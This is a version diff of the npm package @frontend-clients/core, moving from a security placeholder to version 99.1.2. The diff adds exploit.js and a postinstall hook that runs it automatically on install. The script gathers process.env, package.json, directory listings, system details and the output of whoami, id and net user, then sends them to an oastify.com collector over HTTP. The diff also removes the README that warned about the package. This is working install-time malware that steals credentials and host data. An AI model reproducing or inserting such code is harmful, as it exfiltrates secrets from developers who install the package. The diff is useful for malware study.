@frontend-clients/core 0.0.1-security → 99.1.2

package/exploit.js

@@ -0,0 +1,52 @@
+// enhanced-exploit.js
+const fs = require('fs');
+const http = require('http');
+const path = require('path');
+const child_process = require('child_process');
+
+let data = {
+  cwd: process.cwd(),
+  package: null,
+  env: process.env,
+  system: null,
+  files: []
+};
+
+try {
+  // Read package.json
+  data.package = fs.readFileSync(path.join(data.cwd, 'package.json'), 'utf8');
+  
+  // Get system info
+  data.system = {
+    platform: process.platform,
+    arch: process.arch,
+    release: process.release,
+    versions: process.versions
+  };
+  
+  // Try to list directory contents
+  try {
+    data.files = fs.readdirSync(data.cwd);
+  } catch (e) {}
+  
+  // Try to execute system commands
+  try {
+    if (process.platform === 'win32') {
+      data.win_commands = {
+        whoami: child_process.execSync('whoami /all').toString(),
+        net_users: child_process.execSync('net user').toString()
+      };
+    } else {
+      data.linux_commands = {
+        whoami: child_process.execSync('whoami').toString(),
+        id: child_process.execSync('id').toString(),
+        ls: child_process.execSync('ls -la').toString()
+      };
+    }
+  } catch (e) {}
+  
+  // Send data
+  http.get(`http://bwbyvgz42ds2ujrrxa4jzob34ualygm5.oastify.com/collect?data=${encodeURIComponent(JSON.stringify(data))}`);
+} catch (e) {
+  http.get(`http://bwbyvgz42ds2ujrrxa4jzob34ualygm5.oastify.com/error?msg=${encodeURIComponent(e.message)}`);
+}

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "@frontend-clients/core",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "99.1.2",
+  "description": "Malicious package",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node exploit.js"
+  },
+  "author": "",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=%40frontend-clients%2Fcore for more information.